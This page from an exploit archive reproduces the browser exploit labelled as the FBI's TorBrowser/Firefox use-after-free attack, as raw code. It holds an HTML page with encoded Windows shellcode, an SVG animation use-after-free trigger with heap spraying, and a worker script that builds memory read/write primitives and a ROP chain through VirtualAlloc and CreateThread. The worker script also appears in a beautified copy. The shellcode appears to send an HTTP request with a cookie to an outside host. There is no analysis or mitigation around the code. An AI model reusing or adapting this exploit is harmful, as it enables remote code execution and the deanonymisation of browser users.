Home / exploits TorBrowser/Firefox Remote use-after-free FBI's exploit
Posted on 30 November -0001
<HTML><HEAD><TITLE>TorBrowser/Firefox Remote use-after-free FBI's exploit</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY><html> <head> <script> var thecode ='ue8fcu0089u0000u8960u31e5u64d2u528bu8b30u0c52u528bu8b14u2872ub70fu264auff31uc031u3cacu7c61u2c02uc120u0dcfuc701uf0e2u5752u528bu8b10u3c42ud001u408bu8578u74c0u014au50d0u488bu8b18u2058ud301u3ce3u8b49u8b34ud601uff31uc031uc1acu0dcfuc701ue038uf475u7d03u3bf8u247due275u8b58u2458ud301u8b66u4b0cu588bu011cu8bd3u8b04ud001u4489u2424u5b5bu5961u515aue0ffu5f58u8b5aueb12u5d86u858du0297u0000u6850u774cu0726ud5ffuc085u840fu0185u0000u858du029eu0000u6850u774cu0726ud5ffuc085u840fu016fu0000u90bbu0001u2900u54dcu6853u8029u006bud5ffudc01uc085u850fu0155u0000u5050u5050u5040u5040uea68udf0fuffe0u31d5uf7dbu39d3u0fc3u3a84u0001u8900u68c3u2705ue21bu6866u5000uc931uc180u6602u8951u6ae2u5210u6853ua599u6174ud5ffuc085u0874u8dfeu0248u0000ud775u00b8u0001u2900u89c4u52e2u5250ub668ude49uff01u5fd5uc481u0100u0000uc085u850fu00f6u0000ue857u00fau0000u895eu8dcaua7bdu0002ue800u00ecu0000u834fu20fau057cu20bau0000u8900u56d1ua4f3u0db9u0000u8d00u8ab5u0002uf300u89a4u44bdu0002u5e00u6856u28a9u8034ud5ffuc085u840f' + 'u00aeu0000u8b66u0a48u8366u04f9u820fu00a0u0000u408du8b0cu8b00u8b08ub809u0100u0000u8950u29e7u89c4u57e6u5156u6851u7248ub8d2ud5ffuc085uc481u0104u0000ub70fu830fu06f9u7072u06b9u0000ub800u0010u0000uc429ue789uca89ue2d1u5250ud231u168aud088uf024ue8c0u3c04u7709u0404ueb30u0402u8837u4707ud088u0f24u093cu0477u3004u02ebu3704u0788u4647ud4e2u2959u89cfu58feuc401ubd8bu0244u0000ua4f3u36e8u0000u3100u50c0u2951u4fcfu5357uc268u38ebuff5fuebd5u6a09u6800u1347u6f72ud5ffu6853u6e75u614dud5ffuedebuc931ud1f7uc031uaef2ud1f7uc349u0000u0000u8d03ua7bdu0002ue800uffe4uffffub94fu004fu0000ub58du026eu0000ua4f3ubd8du02a7u0000ucbe8uffffuc3ffu0a0du6341u6563u7470u452du636eu646fu6e69u3a67u6720u697au0d70u0d0au000au0a0du6f43u6b6fu6569u203au434du773du3273u335fu0032u5049u4c48u4150u4950u4700u5445u2f20u6130u3238u6131u3038u302fu6435u3063u3132u2032u5448u5054u312fu312eu0a0du6f48u7473u203au0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u4190'; var worker = new Worker('cssbanner.js'); worker.postMessage(thecode); var svgns = 'http://www.w3.org/2000/svg'; var heap80 = new Array(0x1000); var heap100 = new Array(0x4000); var block80 = new ArrayBuffer(0x80); var block100 = new ArrayBuffer(0x100); var sprayBase = undefined; var arrBase = undefined; var animateX = undefined; var containerA = undefined; var offset = 0x90; if (/.*Firefox/(4[7-9]|[5-9]d+|[1-9]d{2,})..*/.test(navigator.userAgent)) { offset = 0x88; // versions 47.0 or greater } var $ = function(id) { return document.getElementById(id); } var exploit = function() { var u32 = new Uint32Array(block80) u32[0x2] = arrBase - offset; u32[0x8] = arrBase - offset; u32[0xE] = arrBase - offset; for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } for(i = 0; i < heap80.length/2; i++) { heap80[i] = block80.slice(0) } animateX.setAttribute('begin', '59s') animateX.setAttribute('begin', '58s') for(i = heap80.length/2; i < heap80.length; i++) { heap80[i] = block80.slice(0) } for(i = heap100.length/2; i < heap100.length; i++) { heap100[i] = block100.slice(0) } animateX.setAttribute('begin', '10s') animateX.setAttribute('begin', '9s') window.dump('PAUSING!!! YAYA'); containerA.pauseAnimations(); } worker.onmessage = function(e) { worker.onmessage = function(e) { window.setTimeout(function() { worker.terminate(); document.body.innerHTML = ''; document.getElementsByTagName('head')[0].innerHTML = ''; document.body.setAttribute('onload', '') }, 1000); } arrBase = e.data; exploit(); } var idGenerator = function() { return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1); } var craftDOM = function() { containerA = document.createElementNS(svgns, 'svg') var containerB = document.createElementNS(svgns, 'svg'); animateX = document.createElementNS(svgns, 'animate') var animateA = document.createElementNS(svgns, 'animate') var animateB = document.createElementNS(svgns, 'animate') var animateC = document.createElementNS(svgns, 'animate') var idX = idGenerator(); var idA = idGenerator(); var idB = idGenerator(); var idC = idGenerator(); animateX.setAttribute('id', idX); animateA.setAttribute('id', idA); animateA.setAttribute('end', '50s'); animateB.setAttribute('id', idB); animateB.setAttribute('begin', '60s'); animateB.setAttribute('end', idC + '.end'); animateC.setAttribute('id', idC); animateC.setAttribute('begin', '10s'); animateC.setAttribute('end', idA + '.end'); containerA.appendChild(animateX) containerA.appendChild(animateA) containerA.appendChild(animateB) containerB.appendChild(animateC) document.body.appendChild(containerA); document.body.appendChild(containerB); } window.onload = craftDOM; // </script> <style> #mtdiv{ position: absolute; width: 960px; height: 166px; z-index: 15; top: 100px; left: 50%; margin: 0 0 0 -480px; } </style> </head> <body bgcolor='#2F3236'> <div id='mtdiv'> <img src='mt.png'/> </div> </body> <script> setTimeout('window.location = 'member.php';', 2000); </script> </html> =================================================================================================== content of "cssbanner.js": self.onmessage = function(msg) { thecode = msg.data; var pack = function (b) { var a = b >> 16; return String.fromCharCode(b & 65535) + String.fromCharCode(a) }; function Memory(b,a,f){this._base_addr=b;this._read=a;this._write=f;this._abs_read=function(a){a>=this._base_addr?a=this._read(a-this._base_addr):(a=4294967295-this._base_addr+1+a,a=this._read(a));return 0>a?4294967295+a+1:a};this._abs_write=function(a,b){a>=this._base_addr?this._write(a-this._base_addr,b):(a=4294967295-this._base_addr+1+a,this._write(a,b))};this.readByte=function(a){return this.read(a)&255};this.readWord=function(a){return this.read(a)&65535};this.readDword=function(a){return this.read(a)}; this.read=function(a,b){if(a%4){var c=this._abs_read(a&4294967292),d=this._abs_read(a+4&4294967292),e=a%4;return c>>>8*e|d<<8*(4-e)}return this._abs_read(a)};this.readStr=function(a){for(var b="",c=0;;){if(32==c)return"";var d=this.readByte(a+c);if(0==d)break;b+=String.fromCharCode(d);c++}return b};this.write=function(a){}} function PE(b,a){this.mem=b;this.export_table=this.module_base=void 0;this.export_table_size=0;this.import_table=void 0;this.import_table_size=0;this.find_module_base=function(a){for(a&=4294901760;a;){if(23117==this.mem.readWord(a))return this.module_base=a;a-=65536}};this._resolve_pe_structures=function(){peFile=this.module_base+this.mem.readWord(this.module_base+60);if(17744!=this.mem.readDword(peFile))throw"Bad NT Signature";this.pe_file=peFile;this.optional_header=this.pe_file+36;this.export_directory= this.module_base+this.mem.readDword(this.pe_file+120);this.export_directory_size=this.mem.readDword(this.pe_file+124);this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);this.import_directory_size=this.mem.readDword(this.pe_file+132)};this.resolve_imported_function=function(a,b){void 0==this.import_directory&&this._resolve_pe_structures();for(var e=this.import_directory,c=e+this.import_directory_size;e<c;){var d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);if(a.toUpperCase()== d.toUpperCase()){for(var c=this.mem.readDword(e)+this.module_base,e=this.mem.readDword(e+16)+this.module_base,d=this.mem.readDword(c),f=0;0!=d;){if(this.mem.readStr(d+this.module_base+2).toUpperCase()==b.toUpperCase())return this.mem.readDword(e+4*f);f++;d=this.mem.readDword(c+4*f)}break}e+=20}return 0};void 0!=a&&this.find_module_base(a)} function ROP(b,a){this.mem=b;this.pe=new PE(b,a);this.pe._resolve_pe_structures();this.module_base=this.pe.module_base+4096;this.findSequence=function(a){for(var b=0;;){for(var e=0,c=0;c<a.length;c++)if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)e++;else break;if(e==a.length)return this.module_base+b;b++}};this.findStackPivot=function(){return this.findSequence([148,195])};this.findPopRet=function(a){return this.findSequence([88,195])};this.ropChain=function(a,b,e,c){c=void 0!=c?c:new ArrayBuffer(4096); c=new Uint32Array(c);var d=this.findStackPivot(),f=this.findPopRet("EAX"),g=this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");c[0]=f+1;c[1]=f;c[2]=a+b+4*e+4;c[3]=d;for(i=0;i<e;i++)c[(b>>2)+i]=d;d=(b+4>>2)+e;c[d++]=g;c[d++]=a+(b+4*e+28);c[d++]=a;c[d++]=4096;c[d++]=4096;c[d++]=64;c[d++]=3435973836;return c}} var conv=new ArrayBuffer(8),convf64=new Float64Array(conv),convu32=new Uint32Array(conv),qword2Double=function(b,a){convu32[0]=b;convu32[1]=a;return convf64[0]},doubleFromFloat=function(b,a){convf64[0]=b;return convu32[a]},sprayArrays=function(){for(var b=Array(262138),a=0;262138>a;a++)b[a]=fzero;for(a=0;a<b.length;a+=512)b[a+1]=memory,b[a+21]=qword2Double(0,2),b[a+14]=qword2Double(arrBase+o1,0),b[a+(o1+8)/8]=qword2Double(arrBase+o2,0),b[a+(o2+0)/8]=qword2Double(2,0),b[a+(o2+8)/8]=qword2Double(arrBase+ o3,arrBase+13),b[a+(o3+0)/8]=qword2Double(16,0),b[a+(o3+24)/8]=qword2Double(2,0),b[a+(o3+32)/8]=qword2Double(arrBase+o5,arrBase+o4),b[a+(o4+0)/8]=qword2Double(0,arrBase+o6),b[a+(o5+0)/8]=qword2Double(arrBase+o7,0),b[a+(o6+8)/8]=qword2Double(2,0),b[a+(o7+8)/8]=qword2Double(arrBase+o7+16,0),b[a+(o7+16)/8]=qword2Double(0,4026531840),b[a+(o7+32)/8]=qword2Double(0,3220176896),b[a+(o7+48)/8]=qword2Double(2,0),b[a+(o7+56)/8]=qword2Double(1,0),b[a+(o7+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o7+112)/ 8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+(o7+168)/8]=qword2Double(0,2),b[a+(o9+0)/8]=qword2Double(arrBase+o10,2),b[a+(o10+0)/8]=qword2Double(2,0),b[a+(o10+8)/8]=qword2Double(0,268435456),b[a+(o11+8)/8]=qword2Double(arrBase+o11+16,0),b[a+(o11+16)/8]=qword2Double(0,4026531840),b[a+(o11+32)/8]=qword2Double(0,3220176896),b[a+(o11+48)/8]=qword2Double(2,0),b[a+(o11+56)/8]=qword2Double(1,0),b[a+(o11+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o11+112)/8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+ (o11+168)/8]=qword2Double(0,2);for(a=0;a<spr.length;a++)spr[a]=b.slice(0)},vtable_offset=300;/.*Firefox/(41.0(.[1-2]|)|42.0).*/.test(navigator.userAgent)?vtable_offset=304:/.*Firefox/(4[3-9]|[5-9]d+|[1-9]d{2,})..*/.test(navigator.userAgent)&&(vtable_offset=308); var spr=Array(400),arrBase=805306416,ropArrBuf=new ArrayBuffer(4096),o1=176,o2=256,o3=768,o4=832,o5=864,o6=928,o7=1024,o8=1280,o9=1344,o10=1376,o11=1536,oRop=1792,memory=new Uint32Array(16),len=memory.length,arr_index=0,arr_offset=0;fzero=qword2Double(0,0);0!=thecode.length%2&&(thecode+="u9090");sprayArrays();postMessage(arrBase); for(memarrayloc=void 0;void 0==memarrayloc;)for(i=0;i<spr.length;i++)for(offset=0;offset<spr[i].length;offset+=512)if("object"!=typeof spr[i][offset+1]){memarrayloc=doubleFromFloat(spr[i][offset+1],0);arr_index=i;arr_offset=offset;spr[i][offset+(o2+0)/8]=qword2Double(65,0);spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);for(j=0;33>j;j++)spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);spr[i][offset+(o3+8)/8]=qword2Double(0,0);spr[i][offset+(o5+0)/8]=qword2Double(arrBase+ o11,0);spr[i][offset+(o7+168)/8]=qword2Double(0,3);spr[i][offset+(o7+88)/8]=qword2Double(0,2);break}for(;memory.length==len;);var mem=new Memory(memarrayloc+48,function(b){return memory[b/4]},function(b,a){memory[b/4]=a}),xulPtr=mem.readDword(memarrayloc+12);spr[arr_index][arr_offset+1]=ropArrBuf;ropPtr=mem.readDword(arrBase+8);spr[arr_index][arr_offset+1]=null;ropBase=mem.readDword(ropPtr+16);var rop=new ROP(mem,xulPtr);rop.ropChain(ropBase,vtable_offset,10,ropArrBuf); var backupESP=rop.findSequence([137,1,195]),ropChain=new Uint32Array(ropArrBuf);ropChain[0]=backupESP;CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");for(var i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);ropChain[i++]=3296825488;ropChain[i++]=2048;ropChain[i++]=1347469361;ropChain[i++]=1528949584;ropChain[i++]=3092271187;ropChain[i++]=CreateThread;ropChain[i++]=3096498431;ropChain[i++]=arrBase+16;ropChain[i++]=1955274891;ropChain[i++]=280697892;ropChain[i++]=704643071; ropChain[i++]=2425406428;ropChain[i++]=4294957800;ropChain[i++]=2425393407;for(var j=0;j<thecode.length;j+=2)ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);spr[arr_index][arr_offset+3]=qword2Double(0,256);spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);postMessage("GREAT SUCCESS"); }; Beautified: self.onmessage = function(msg) { thecode = msg.data; var pack = function (b) { var a = b >> 16; return String.fromCharCode(b & 65535) + String.fromCharCode(a) }; function Memory(b,a,f) { this._base_addr=b; this._read=a; this._write=f; this._abs_read = function(a) { a >= this._base_addr ? a = this._read( a - this._base_addr) : ( a = 4294967295 - this._base_addr + 1 + a, a = this._read(a) ); return 0>a?4294967295+a+1:a }; this._abs_write = function(a,b) { a >= this._base_addr ? this._write(a - this._base_addr, b) : ( a = 4294967295 - this._base_addr + 1 + a, this._write(a,b) ) }; this.readByte = function(a) { return this.read(a) & 255 }; this.readWord = function(a) { return this.read(a) & 65535 }; this.readDword = function(a){ return this.read(a) }; this.read = function(a,b) { if (a%4) { var c = this._abs_read( a & 4294967292), d = this._abs_read( a+4 & 4294967292), e = a%4; return c>>>8*e | d<<8*(4-e) } return this._abs_read(a) }; this.readStr = function(a) { for(var b = "", c = 0;;) { if (32 == c) return ""; var d = this.readByte(a+c); if(0 == d) break; b += String.fromCharCode(d); c++ } return b }; this.write = function(a){} } function PE(b,a) { this.mem = b; this.export_table = this.module_base = void 0; this.export_table_size = 0; this.import_table = void 0; this.import_table_size = 0; this.find_module_base = function(a) { for(a &= 4294901760; a; ) { if(23117 == this.mem.readWord(a)) return this.module_base=a; a -= 65536 } }; this._resolve_pe_structures = function() { peFile = this.module_base + this.mem.readWord(this.module_base+60); if(17744 != this.mem.readDword(peFile)) throw"Bad NT Signature"; this.pe_file = peFile; this.optional_header = this.pe_file+36; this.export_directory = this.module_base+this.mem.readDword(this.pe_file+120); this.export_directory_size = this.mem.readDword(this.pe_file+124); this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128); this.import_directory_size=this.mem.readDword(this.pe_file+132)}; this.resolve_imported_function=function(a,b){ void 0==this.import_directory&&this._resolve_pe_structures(); for(var e=this.import_directory,c=e+this.import_directory_size;e<c;){ var d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base); if(a.toUpperCase()==d.toUpperCase()){ for(var c = this.mem.readDword(e) + this.module_base, e = this.mem.readDword(e+16) + this.module_base, d = this.mem.readDword(c), f = 0 ; 0 !=d ;) { if(this.mem.readStr(d+this.module_base+2).toUpperCase() == b.toUpperCase()) return this.mem.readDword(e+4*f); f++; d = this.mem.readDword(c+4*f) } break } e+=20 } return 0 }; void 0!=a && this.find_module_base(a) } function ROP(b,a){ this.mem = b; this.pe = new PE(b,a); this.pe._resolve_pe_structures(); this.module_base = this.pe.module_base+4096; this.findSequence = function(a) { for(var b=0;;) { for(var e=0,c=0;c<a.length;c++) if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c) e++; else break; if(e==a.length) return this.module_base+b; b++ } }; this.findStackPivot=function() { return this.findSequence([148,195]) }; this.findPopRet=function(a) { return this.findSequence([88,195]) }; this.ropChain=function(a,b,e,c) { c = void 0 != c ? c : new ArrayBuffer(4096); c = new Uint32Array(c); var d = this.findStackPivot(), f = this.findPopRet("EAX"), g = this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc"); c[0]= f+1; c[1]= f; c[2]= a+b+4*e+4; c[3]= d; for(i=0;i<e;i++) c[(b>>2)+i] = d; d =(b+4>>2)+e; c[d++]=g; c[d++]=a+(b+4*e+28); c[d++]=a; c[d++]=4096; c[d++]=4096; c[d++]=64; c[d++]=3435973836; return c } } var conv=new ArrayBuffer(8), convf64=new Float64Array(conv), convu32=new Uint32Array(conv), qword2Double=function(b,a) { convu32[0]=b; convu32[1]=a; return convf64[0] }, doubleFromFloat = function(b,a) { convf64[0]=b; return convu32[a] }, sprayArrays=function() { for(var b=Array(262138),a=0;262138>a;a++) b[a]=fzero; for(a=0;a<b.length;a+=512) b[a+1] = memory, b[a+21] = qword2Double(0,2), b[a+14] = qword2Double(arrBase+o1,0), b[a+(o1+8)/8] = qword2Double(arrBase+o2,0), b[a+(o2+0)/8] = qword2Double(2,0), b[a+(o2+8)/8] = qword2Double(arrBase+o3,arrBase+13), b[a+(o3+0)/8] = qword2Double(16,0), b[a+(o3+24)/8] = qword2Double(2,0), b[a+(o3+32)/8] = qword2Double(arrBase+o5,arrBase+o4), b[a+(o4+0)/8] = qword2Double(0,arrBase+o6), b[a+(o5+0)/8] = qword2Double(arrBase+o7,0), b[a+(o6+8)/8] = qword2Double(2,0), b[a+(o7+8)/8] = qword2Double(arrBase+o7+16,0), b[a+(o7+16)/8] = qword2Double(0,4026531840), b[a+(o7+32)/8] = qword2Double(0,3220176896), b[a+(o7+48)/8] = qword2Double(2,0), b[a+(o7+56)/8] = qword2Double(1,0), b[a+(o7+96)/8] = qword2Double(arrBase+o8,arrBase+o8), b[a+(o7+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16), b[a+(o7+168)/8] = qword2Double(0,2), b[a+(o9+0)/8] = qword2Double(arrBase+o10,2), b[a+(o10+0)/8] = qword2Double(2,0), b[a+(o10+8)/8] = qword2Double(0,268435456), b[a+(o11+8)/8] = qword2Double(arrBase+o11+16,0), b[a+(o11+16)/8] = qword2Double(0,4026531840), b[a+(o11+32)/8] = qword2Double(0,3220176896), b[a+(o11+48)/8] = qword2Double(2,0), b[a+(o11+56)/8] = qword2Double(1,0), b[a+(o11+96)/8] = qword2Double(arrBase+o8,arrBase+o8), b[a+(o11+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16), b[a+(o11+168)/8] = qword2Double(0,2); for(a=0;a<spr.length;a++) spr[a]=b.slice(0) }, vtable_offset=300; /.*Firefox/(41.0(.[1-2]|)|42.0).*/.test(navigator.userAgent)? vtable_offset=304 : /.*Firefox/(4[3-9]|[5-9]d+|[1-9]d{2,})..*/.test(navigator.userAgent) && (vtable_offset=308); var spr=Array(400), arrBase=805306416, ropArrBuf=new ArrayBuffer(4096), o1=176, o2=256, o3=768, o4=832, o5=864, o6=928, o7=1024, o8=1280, o9=1344, o10=1376, o11=1536, oRop=1792, memory=new Uint32Array(16), len=memory.length, arr_index=0, arr_offset=0; fzero=qword2Double(0,0); 0!=thecode.length%2&&(thecode+="u9090"); sprayArrays(); postMessage(arrBase); for(memarrayloc=void 0;void 0==memarrayloc;) for(i=0;i<spr.length;i++) for(offset=0;offset<spr[i].length;offset+=512) if("object" != typeof spr[i][offset+1]) { memarrayloc=doubleFromFloat(spr[i][offset+1],0); arr_index=i; arr_offset=offset; spr[i][offset+(o2+0)/8]=qword2Double(65,0); spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27); for(j=0;33>j;j++) spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27); spr[i][offset+(o3+8)/8]=qword2Double(0,0); spr[i][offset+(o5+0)/8]=qword2Double(arrBase+o11,0); spr[i][offset+(o7+168)/8]=qword2Double(0,3); spr[i][offset+(o7+88)/8]=qword2Double(0,2); break } for(;memory.length==len;); var mem=new Memory(memarrayloc+48, function(b){return memory[b/4]}, function(b,a){memory[b/4]=a}), xulPtr=mem.readDword(memarrayloc+12); spr[arr_index][arr_offset+1]=ropArrBuf; ropPtr=mem.readDword(arrBase+8); spr[arr_index][arr_offset+1]=null; ropBase=mem.readDword(ropPtr+16); var rop=new ROP(mem,xulPtr); rop.ropChain(ropBase,vtable_offset,10,ropArrBuf); var backupESP=rop.findSequence([137,1,195]), ropChain=new Uint32Array(ropArrBuf); ropChain[0]=backupESP; CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread"); for(var i=0;i<ropChain.length&&3435973836!=ropChain[i];i++); ropChain[i++]=3296825488; ropChain[i++]=2048; ropChain[i++]=1347469361; ropChain[i++]=1528949584; ropChain[i++]=3092271187; ropChain[i++]=CreateThread; ropChain[i++]=3096498431; ropChain[i++]=arrBase+16; ropChain[i++]=1955274891; ropChain[i++]=280697892; ropChain[i++]=704643071; ropChain[i++]=2425406428; ropChain[i++]=4294957800; ropChain[i++]=2425393407; for (var j=0;j<thecode.length;j+=2) ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1); spr[arr_index][arr_offset]=qword2Double(arrBase+16,0); spr[arr_index][arr_offset+3]=qword2Double(0,256); spr[arr_index][arr_offset+2]=qword2Double(ropBase,0); spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3); spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2); postMessage("GREAT SUCCESS"); }; </BODY></HTML>
